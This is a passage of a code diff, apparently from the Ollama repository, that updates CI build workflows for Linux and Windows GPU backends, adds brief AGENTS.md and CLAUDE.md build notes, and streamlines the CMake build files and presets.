curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
fi
$sudo apt-get install -y cmake ccache curl git ${{ matrix.extra-packages }}
# Use a current CMake for upstream llama.cpp and Vulkan dependency discovery.
curl -fsSL https://github.com/Kitware/CMake/releases/download/v3.31.2/cmake-3.31.2-linux-$(uname -m).tar.gz | $sudo tar xz -C /usr/local --strip-components 1
# Export VULKAN_SDK if provided by LunarG package (defensive)
if [ -d "/usr/lib/x86_64-linux-gnu/vulkan" ] && [ "${{ matrix.preset }}" = "Vulkan" ]; then
echo "VULKAN_SDK=/usr" >> $GITHUB_ENV
@@ -94,17 +145,30 @@ jobs:
- if: matrix.install-go
name: Install Go
run: |
[ -n "${{ matrix.container }}" ] || sudo=sudo
GO_VERSION=$(awk '/^go / { print $2 }' go.mod)
curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | tar xz -C /usr/local
curl -fsSL "https://golang.org/dl/go${GO_VERSION}.linux-$(dpkg --print-architecture).tar.gz" | $sudo tar xz -C /usr/local
echo "/usr/local/go/bin" >> $GITHUB_PATH
- uses: actions/cache@v4
with:
path: /github/home/.cache/ccache
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
- run: |
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
cmake --build --preset "${{ matrix.preset }}" --parallel
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
- name: Build native superbuild
if: matrix.superbuild_target
run: |
cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
CMAKE_BUILD_PARALLEL_LEVEL=$(nproc) cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $(nproc)
test -e "${{ matrix.superbuild_dir }}/${{ matrix.expected_payload }}"
- name: Verify local superbuild install
if: matrix.superbuild_target == 'ollama-local'
run: |
./ollama --version
"${{ matrix.superbuild_dir }}/lib/ollama/llama-server" --version
test -x "${{ matrix.superbuild_dir }}/lib/ollama/llama-quantize"
cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$RUNNER_TEMP/ollama-local"
"$RUNNER_TEMP/ollama-local/bin/ollama" --version
"$RUNNER_TEMP/ollama-local/lib/ollama/llama-server" --version
test -x "$RUNNER_TEMP/ollama-local/lib/ollama/llama-quantize"
windows:
needs: [changes]
if: needs.changes.outputs.changed == 'True'
@@ -112,9 +176,16 @@ jobs:
matrix:
include:
- preset: CPU
superbuild_target: ollama-local
superbuild_dir: build\local-superbuild
superbuild_args: ''
expected_payload: lib\ollama\llama-server.exe
- preset: CUDA
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
superbuild_target: ollama-llama-server-cuda_v13
superbuild_dir: build\local-superbuild-cuda_v13
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80'
expected_payload: lib\ollama\cuda_v13\ggml-cuda.dll
cuda-components:
- '"cudart"'
- '"nvcc"'
@@ -125,14 +196,26 @@ jobs:
- '"nvptxcompiler"'
cuda-version: '13.0'
- preset: ROCm
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
flags: '-DAMDGPU_TARGETS=gfx1010 -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
rocm-version: '7.1'
superbuild_target: ollama-llama-server-rocm_v7_1
superbuild_dir: build\local-superbuild-rocm_v7_1
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=rocm_v7_1 -DAMDGPU_TARGETS=gfx1010'
expected_payload: lib\ollama\rocm_v7_1\ggml-hip.dll
- preset: Vulkan
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
superbuild_target: ollama-llama-server-vulkan
superbuild_dir: build\local-superbuild-vulkan
superbuild_args: '-DOLLAMA_LLAMA_BACKENDS=vulkan'
expected_payload: lib\ollama\vulkan\ggml-vulkan.dll
- preset: 'MLX CUDA 13'
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
flags: '-DCMAKE_CUDA_ARCHITECTURES=80'
superbuild_target: ollama-mlx-cuda_v13
superbuild_dir: build\local-superbuild-mlx-cuda_v13
superbuild_args: '-DOLLAMA_MLX_BACKENDS=cuda_v13 -DCMAKE_CUDA_ARCHITECTURES=80 -DMLX_CUDA_ARCHITECTURES=80-virtual'
expected_payload: lib\ollama\mlx_cuda_v13\mlx.dll
install-go: true
cuda-components:
- '"cudart"'
- '"nvcc"'
@@ -201,6 +284,10 @@ jobs:
}
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
if (Test-Path $vulkanRuntime) {
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
}
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
- if: matrix.preset == 'MLX CUDA 13'
@@ -230,18 +317,44 @@ jobs:
C:\Program Files\NVIDIA\CUDNN
key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
- uses: actions/checkout@v4
- if: matrix.superbuild_target == 'ollama-local' || matrix.install-go
uses: actions/setup-go@v5
with:
go-version-file: 'go.mod'
- uses: actions/cache@v4
with:
path: ${{ github.workspace }}\.ccache
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.vendorsha }}
- run: |
key: ccache-${{ runner.os }}-${{ runner.arch }}-${{ matrix.preset }}-${{ needs.changes.outputs.enginehash }}
- name: Build native superbuild
if: matrix.superbuild_target
run: |
$ErrorActionPreference = "Stop"
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }}
cmake --build --parallel --preset "${{ matrix.preset }}"
cmake -S . -B "${{ matrix.superbuild_dir }}" ${{ matrix.superbuild_args }}
$env:CMAKE_BUILD_PARALLEL_LEVEL = [Environment]::ProcessorCount
cmake --build "${{ matrix.superbuild_dir }}" --target "${{ matrix.superbuild_target }}" -- -l $([Environment]::ProcessorCount)
if (!(Test-Path "${{ matrix.superbuild_dir }}\${{ matrix.expected_payload }}")) {
throw "missing ${{ matrix.expected_payload }}"
}
env:
CMAKE_GENERATOR: Ninja
- name: Verify local superbuild install
if: matrix.superbuild_target == 'ollama-local'
run: |
$ErrorActionPreference = "Stop"
& ".\ollama.exe" --version
& "${{ matrix.superbuild_dir }}\lib\ollama\llama-server.exe" --version
if (!(Test-Path "${{ matrix.superbuild_dir }}\lib\ollama\llama-quantize.exe")) {
throw "missing llama-quantize.exe"
}
$installPrefix = Join-Path $env:RUNNER_TEMP "ollama-local"
cmake --install "${{ matrix.superbuild_dir }}" --component ollama-local --prefix "$installPrefix"
& "$installPrefix\bin\ollama.exe" --version
& "$installPrefix\lib\ollama\llama-server.exe" --version
if (!(Test-Path "$installPrefix\lib\ollama\llama-quantize.exe")) {
throw "missing installed llama-quantize.exe"
}
go_mod_tidy:
runs-on: ubuntu-latest
steps:
@@ -250,6 +363,7 @@ jobs:
run: go mod tidy --diff || (echo "Please run 'go mod tidy'." && exit 1)
test:
needs: [changes]
strategy:
matrix:
os: [ubuntu-latest, macos-latest, windows-latest]
@@ -263,7 +377,9 @@ jobs:
go-version-file: 'go.mod'
cache-dependency-path: |
go.sum
Makefile.sync
LLAMA_CPP_VERSION
MLX_VERSION
MLX_C_VERSION
- uses: actions/setup-node@v4
with:
node-version: '20'
@@ -277,6 +393,17 @@ jobs:
if: ${{ startsWith(matrix.os, 'ubuntu') }}
working-directory: ./app/ui/app
run: npm test
- name: Verify MLX generated files are current
if: ${{ startsWith(matrix.os, 'ubuntu') }}
run: |
cmake -S . -B build/mlx-generate -DOLLAMA_MLX_BACKENDS=cuda_v13
cmake --build build/mlx-generate --target ollama-mlx-generate-wrappers
git diff --exit-code -- \
x/imagegen/mlx/mlx.h \
x/imagegen/mlx/mlx.c \
x/mlxrunner/mlx/generated.h \
x/mlxrunner/mlx/generated.c \
x/mlxrunner/mlx/include/mlx/c
- name: Run go generate
run: go generate ./...
@@ -284,15 +411,10 @@ jobs:
if: always()
run: go test -count=1 -benchtime=1x ./...
- name: go test app with live updater tag
if: ${{ needs.changes.outputs.app_changed == 'True' && contains(fromJSON('["macos-latest","windows-latest"]'), matrix.os) }}
run: go test -count=1 -tags updater_live ./app/...
- uses: golangci/golangci-lint-action@v9
with:
only-new-issues: true
patches:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Verify patches apply cleanly and do not change files
run: |
make -f Makefile.sync clean checkout apply-patches sync
git diff --compact-summary --exit-code
+21
View File
@@ -0,0 +1,21 @@
# AGENTS.md
## Building
For a full build from the repository root:
```sh
cmake -B build .
cmake --build build --parallel 8
./ollama serve
```
For quick Go-only iteration against an existing native payload:
```sh
go build .
go run . serve
```
See `docs/development.md` for prerequisites, platform notes, GPU backends, and
the full development workflow.
+3
View File
@@ -0,0 +1,3 @@
# CLAUDE.md
See `AGENTS.md` for the shared agent instructions for this repository.
+21 -319
View File
@@ -1,4 +1,4 @@
cmake_minimum_required(VERSION 3.21)
cmake_minimum_required(VERSION 3.24)
project(Ollama C CXX)
@@ -23,30 +23,23 @@ include(GNUInstallDirs)
find_package(Threads REQUIRED)
set(CMAKE_BUILD_TYPE Release)
set(BUILD_SHARED_LIBS ON)
if(NOT CMAKE_CONFIGURATION_TYPES AND NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE Release CACHE STRING "Build type" FORCE)
endif()
# These defaults can be overridden by presets (e.g., for static macOS llama-server builds)
if(NOT DEFINED BUILD_SHARED_LIBS)
set(BUILD_SHARED_LIBS ON)
endif()
set(CMAKE_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)
set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX Requires gnu++17 extensions to compile properly
set(CMAKE_CXX_EXTENSIONS ON) # Recent versions of MLX require gnu++17 extensions to compile properly
set(GGML_BUILD ON)
set(GGML_SHARED ON)
set(GGML_CCACHE ON)
set(GGML_BACKEND_DL ON)
set(GGML_BACKEND_SHARED ON)
set(GGML_SCHED_MAX_COPIES 4)
set(GGML_LLAMAFILE ON)
set(GGML_CUDA_PEER_MAX_BATCH_SIZE 128)
set(GGML_CUDA_GRAPHS ON)
set(GGML_CUDA_FA ON)
set(GGML_CUDA_COMPRESSION_MODE default)
if((CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_OSX_ARCHITECTURES MATCHES "arm64")
OR (NOT CMAKE_OSX_ARCHITECTURES AND NOT CMAKE_SYSTEM_PROCESSOR MATCHES "arm|aarch64|ARM64|ARMv[0-9]+"))
set(GGML_CPU_ALL_VARIANTS ON)
endif()
# GGML backend for inference is provided by llama-server (built separately via
# llama/server/CMakeLists.txt using FetchContent from the pinned llama.cpp source).
# The root CMake project is the orchestration entrypoint; backend-specific
# build rules live in subprojects under cmake/.
if(APPLE)
set(CMAKE_BUILD_RPATH "@loader_path")
@@ -55,7 +48,8 @@ if(APPLE)
endif()
set(OLLAMA_BUILD_DIR ${CMAKE_BINARY_DIR}/lib/ollama)
set(OLLAMA_INSTALL_DIR ${CMAKE_INSTALL_PREFIX}/lib/ollama/${OLLAMA_RUNNER_DIR})
set(OLLAMA_LIB_DIR "lib/ollama" CACHE STRING "Install destination for Ollama runtime payloads")
set(OLLAMA_INSTALL_DIR ${OLLAMA_LIB_DIR}/${OLLAMA_RUNNER_DIR})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
@@ -64,301 +58,9 @@ set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${OLLAMA_BUILD_DIR})
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_DEBUG ${OLLAMA_BUILD_DIR})
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY_RELEASE ${OLLAMA_BUILD_DIR})
# Store ggml include paths for use with target_include_directories later.
# We avoid global include_directories() to prevent polluting the include path
# for other projects like MLX (whose openblas dependency has its own common.h).
set(GGML_INCLUDE_DIRS
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/include
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu
${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cpu/amx
)
add_compile_definitions(NDEBUG GGML_VERSION=0x0 GGML_COMMIT=0x0)
# Define GGML version variables for shared library SOVERSION
# These are required by ggml/src/CMakeLists.txt for proper library versioning
set(GGML_VERSION_MAJOR 0)
set(GGML_VERSION_MINOR 0)
set(GGML_VERSION_PATCH 0)
set(GGML_VERSION "${GGML_VERSION_MAJOR}.${GGML_VERSION_MINOR}.${GGML_VERSION_PATCH}")
set(GGML_CPU ON)
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src)
set_property(TARGET ggml PROPERTY EXCLUDE_FROM_ALL TRUE)
get_target_property(CPU_VARIANTS ggml-cpu MANUALLY_ADDED_DEPENDENCIES)
if(NOT CPU_VARIANTS)
set(CPU_VARIANTS "ggml-cpu")
endif()
# Apply ggml include directories to ggml targets only (not globally)
target_include_directories(ggml-base PRIVATE ${GGML_INCLUDE_DIRS})
foreach(variant ${CPU_VARIANTS})
if(TARGET ${variant})
target_include_directories(${variant} PRIVATE ${GGML_INCLUDE_DIRS})
endif()
endforeach()
install(TARGETS ggml-base ${CPU_VARIANTS}
RUNTIME_DEPENDENCIES
PRE_EXCLUDE_REGEXES ".*"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CPU
)
check_language(CUDA)
if(CMAKE_CUDA_COMPILER)
if(CMAKE_VERSION VERSION_GREATER_EQUAL "3.24" AND NOT CMAKE_CUDA_ARCHITECTURES)
set(CMAKE_CUDA_ARCHITECTURES "native")
endif()
find_package(CUDAToolkit)
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-cuda)
target_include_directories(ggml-cuda PRIVATE ${GGML_INCLUDE_DIRS})
install(TARGETS ggml-cuda
RUNTIME_DEPENDENCIES
DIRECTORIES ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR}
PRE_INCLUDE_REGEXES cublas cublasLt cudart
PRE_EXCLUDE_REGEXES ".*"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT CUDA
)
endif()
set(WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX "^gfx(908|90a|1200|1201):xnack[+-]$"
CACHE STRING
"Regular expression describing AMDGPU_TARGETS not supported on Windows. Override to force building these targets. Default \"^gfx(908|90a|1200|1201):xnack[+-]$\"."
)
check_language(HIP)
if(CMAKE_HIP_COMPILER)
set(HIP_PLATFORM "amd")
if(NOT AMDGPU_TARGETS)
find_package(hip REQUIRED)
list(FILTER AMDGPU_TARGETS INCLUDE REGEX "^gfx(94[012]|101[02]|1030|110[012]|120[01])$")
endif()
if(WIN32 AND WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX)
list(FILTER AMDGPU_TARGETS EXCLUDE REGEX ${WINDOWS_AMDGPU_TARGETS_EXCLUDE_REGEX})
endif()
if(AMDGPU_TARGETS)
find_package(hip REQUIRED)
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-hip)
target_include_directories(ggml-hip PRIVATE ${GGML_INCLUDE_DIRS})
if (WIN32)
target_compile_definitions(ggml-hip PRIVATE GGML_CUDA_NO_PEER_COPY)
endif()
target_compile_definitions(ggml-hip PRIVATE GGML_HIP_NO_VMM)
install(TARGETS ggml-hip
RUNTIME_DEPENDENCY_SET rocm
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
)
install(RUNTIME_DEPENDENCY_SET rocm
DIRECTORIES ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR}
PRE_INCLUDE_REGEXES hipblas rocblas amdhip64 rocsolver amd_comgr hsa-runtime64 rocsparse tinfo rocprofiler-register roctx64 rocroller drm drm_amdgpu numa elf
PRE_EXCLUDE_REGEXES ".*"
POST_EXCLUDE_REGEXES "system32"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP
)
foreach(HIP_LIB_BIN_INSTALL_DIR IN ITEMS ${HIP_BIN_INSTALL_DIR} ${HIP_LIB_INSTALL_DIR})
if(EXISTS ${HIP_LIB_BIN_INSTALL_DIR}/rocblas)
install(DIRECTORY ${HIP_LIB_BIN_INSTALL_DIR}/rocblas DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT HIP)
break()
endif()
endforeach()
endif()
endif()
if(NOT APPLE)
find_package(Vulkan)
if(Vulkan_FOUND)
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/ml/backend/ggml/ggml/src/ggml-vulkan)
target_include_directories(ggml-vulkan PRIVATE ${GGML_INCLUDE_DIRS})
install(TARGETS ggml-vulkan
RUNTIME_DEPENDENCIES
PRE_INCLUDE_REGEXES vulkan
PRE_EXCLUDE_REGEXES ".*"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT Vulkan
)
endif()
endif()
option(MLX_ENGINE "Enable MLX backend" OFF)
if(MLX_ENGINE)
message(STATUS "Setting up MLX (this takes a while...)")
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/x/imagegen/mlx)
# Find CUDA toolkit if MLX is built with CUDA support
find_package(CUDAToolkit)
# Build list of directories for runtime dependency resolution
set(MLX_RUNTIME_DIRS ${CUDAToolkit_BIN_DIR} ${CUDAToolkit_BIN_DIR}/x64 ${CUDAToolkit_LIBRARY_DIR})
# Add cuDNN bin paths for DLLs (Windows MLX CUDA builds)
# CUDNN_ROOT_DIR is the standard CMake variable for cuDNN location
if(DEFINED ENV{CUDNN_ROOT_DIR})
# cuDNN 9.x has versioned subdirectories under bin/ (e.g., bin/13.0/)
file(GLOB CUDNN_BIN_SUBDIRS "$ENV{CUDNN_ROOT_DIR}/bin/*")
list(APPEND MLX_RUNTIME_DIRS ${CUDNN_BIN_SUBDIRS})
endif()
# Add build output directory and MLX dependency build directories
list(APPEND MLX_RUNTIME_DIRS ${OLLAMA_BUILD_DIR})
# OpenBLAS DLL location (pre-built zip extracts into openblas-src/bin/)
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/openblas-src/bin)
# NCCL: on Linux, if real NCCL is found, cmake bundles libnccl.so via the
# regex below. If NCCL is not found, MLX links a static stub (OBJECT lib)
# so there is no runtime dependency. This path covers the stub build dir
# for windows so we include the DLL in our dependencies.
list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
# Base regexes for runtime dependencies (cross-platform)
set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer)
if(WIN32)
list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
endif()
install(TARGETS mlx mlxc
RUNTIME_DEPENDENCIES
DIRECTORIES ${MLX_RUNTIME_DIRS}
PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
PRE_EXCLUDE_REGEXES ".*"
RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
)
# Install the Metal library for macOS arm64 (must be colocated with the binary)
# Metal backend is only built for arm64, not x86_64
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX)
endif()
# Install headers for NVRTC JIT compilation at runtime.
# MLX's own install rules use the default component so they get skipped by
# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
#
# Layout:
# ${OLLAMA_INSTALL_DIR}/include/cccl/{cuda,nv}/ — CCCL headers
# ${OLLAMA_INSTALL_DIR}/include/*.h — CUDA toolkit headers
#
# MLX's jit_module.cpp resolves CCCL via
# current_binary_dir()[.parent_path()] / "include" / "cccl"
# On Linux, MLX's jit_module.cpp resolves CCCL via
# current_binary_dir().parent_path() / "include" / "cccl", so we create a
# symlink from lib/ollama/include -> ${OLLAMA_RUNNER_DIR}/include
# This will need refinement if we add multiple CUDA versions for MLX in the future.
# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
COMPONENT MLX)
install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/nv
DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
COMPONENT MLX)
if(NOT WIN32 AND NOT APPLE)
install(CODE "
set(_link \"${CMAKE_INSTALL_PREFIX}/lib/ollama/include\")
set(_target \"${OLLAMA_RUNNER_DIR}/include\")
if(NOT EXISTS \${_link})
execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
endif()
" COMPONENT MLX)
endif()
endif()
# Install minimal CUDA toolkit headers needed by MLX JIT kernels.
# These are the transitive closure of includes from mlx/backend/cuda/device/*.cuh.
# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
# $CUDA_PATH/include/*.h via NVRTC --include-path.
if(CUDAToolkit_FOUND)
# CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
# (e.g. ".../include;.../include/cccl"). Find the entry that
# contains the CUDA runtime headers we need.
set(_cuda_inc "")
foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
if(EXISTS "${_dir}/cuda_runtime_api.h")
set(_cuda_inc "${_dir}")
break()
endif()
endforeach()
if(NOT _cuda_inc)
message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
else()
set(_dst "${OLLAMA_INSTALL_DIR}/include")
set(_MLX_JIT_CUDA_HEADERS
builtin_types.h
cooperative_groups.h
cuda_bf16.h
cuda_bf16.hpp
cuda_device_runtime_api.h
cuda_fp16.h
cuda_fp16.hpp
cuda_fp8.h
cuda_fp8.hpp
cuda_runtime_api.h
device_types.h
driver_types.h
math_constants.h
surface_types.h
texture_types.h
vector_functions.h
vector_functions.hpp
vector_types.h
)
foreach(_hdr ${_MLX_JIT_CUDA_HEADERS})
install(FILES "${_cuda_inc}/${_hdr}"
DESTINATION ${_dst}
COMPONENT MLX)
endforeach()
# Subdirectory headers
install(DIRECTORY "${_cuda_inc}/cooperative_groups"
DESTINATION ${_dst}
COMPONENT MLX
FILES_MATCHING PATTERN "*.h")
install(FILES "${_cuda_inc}/crt/host_defines.h"
DESTINATION "${_dst}/crt"
COMPONENT MLX)
endif()
endif()
# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation)
# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
# dlfcn-win32 is a known CMake target with its own install rules (which install
# to the wrong destination). We must install it explicitly here.
if(WIN32)
install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX)
endif()
# Manually install CUDA runtime libraries that MLX loads via dlopen
# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps)
if(CUDAToolkit_FOUND)
file(GLOB MLX_CUDA_LIBS
"${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
"${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
"${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
if(MLX_CUDA_LIBS)
install(FILES ${MLX_CUDA_LIBS}
DESTINATION ${OLLAMA_INSTALL_DIR}
COMPONENT MLX)
endif()
endif()
if(EXISTS "${CMAKE_CURRENT_SOURCE_DIR}/llama/server/CMakeLists.txt")
set(OLLAMA_HAVE_LLAMA_SERVER TRUE)
else()
set(OLLAMA_HAVE_LLAMA_SERVER FALSE)
endif()
include(${CMAKE_CURRENT_SOURCE_DIR}/cmake/local.cmake)
+5 -169
View File
@@ -11,109 +11,10 @@
}
},
{
"name": "CPU",
"inherits": [ "Default" ]
},
{
"name": "CUDA",
"inherits": [ "Default" ]
},
{
"name": "CUDA 11",
"inherits": [ "CUDA" ],
"cacheVariables": {
"CMAKE_CUDA_ARCHITECTURES": "50-virtual;60-virtual;61-virtual;70-virtual;75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual",
"CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
"OLLAMA_RUNNER_DIR": "cuda_v11"
}
},
{
"name": "CUDA 12",
"inherits": [ "CUDA" ],
"cacheVariables": {
"CMAKE_CUDA_ARCHITECTURES": "50;52;60;61;70;75;80;86;89;90;90a;120",
"CMAKE_CUDA_FLAGS": "-Wno-deprecated-gpu-targets -t 2",
"OLLAMA_RUNNER_DIR": "cuda_v12"
}
},
{
"name": "CUDA 13",
"inherits": [ "CUDA" ],
"cacheVariables": {
"CMAKE_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;87-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual",
"CMAKE_CUDA_FLAGS": "-t 4",
"OLLAMA_RUNNER_DIR": "cuda_v13"
}
},
{
"name": "JetPack 5",
"inherits": [ "CUDA" ],
"cacheVariables": {
"CMAKE_CUDA_ARCHITECTURES": "72;87",
"OLLAMA_RUNNER_DIR": "cuda_jetpack5"
}
},
{
"name": "JetPack 6",
"inherits": [ "CUDA" ],
"cacheVariables": {
"CMAKE_CUDA_ARCHITECTURES": "87",
"OLLAMA_RUNNER_DIR": "cuda_jetpack6"
}
},
{
"name": "ROCm",
"name": "MLX Metal",
"inherits": [ "Default" ],
"cacheVariables": {
"CMAKE_HIP_PLATFORM": "amd"
}
},
{
"name": "ROCm 6",
"inherits": [ "ROCm" ],
"cacheVariables": {
"CMAKE_HIP_FLAGS": "-parallel-jobs=4",
"AMDGPU_TARGETS": "gfx940;gfx941;gfx942;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
"OLLAMA_RUNNER_DIR": "rocm"
}
},
{
"name": "ROCm 7",
"inherits": [ "ROCm" ],
"cacheVariables": {
"CMAKE_HIP_FLAGS": "-parallel-jobs=4",
"AMDGPU_TARGETS": "gfx942;gfx950;gfx1010;gfx1012;gfx1030;gfx1100;gfx1101;gfx1102;gfx1103;gfx1150;gfx1151;gfx1200;gfx1201;gfx908:xnack-;gfx90a:xnack+;gfx90a:xnack-",
"OLLAMA_RUNNER_DIR": "rocm"
}
},
{
"name": "Vulkan",
"inherits": [ "Default" ],
"cacheVariables": {
"OLLAMA_RUNNER_DIR": "vulkan"
}
},
{
"name": "MLX",
"inherits": [ "Default" ],
"cacheVariables": {
"MLX_ENGINE": "ON",
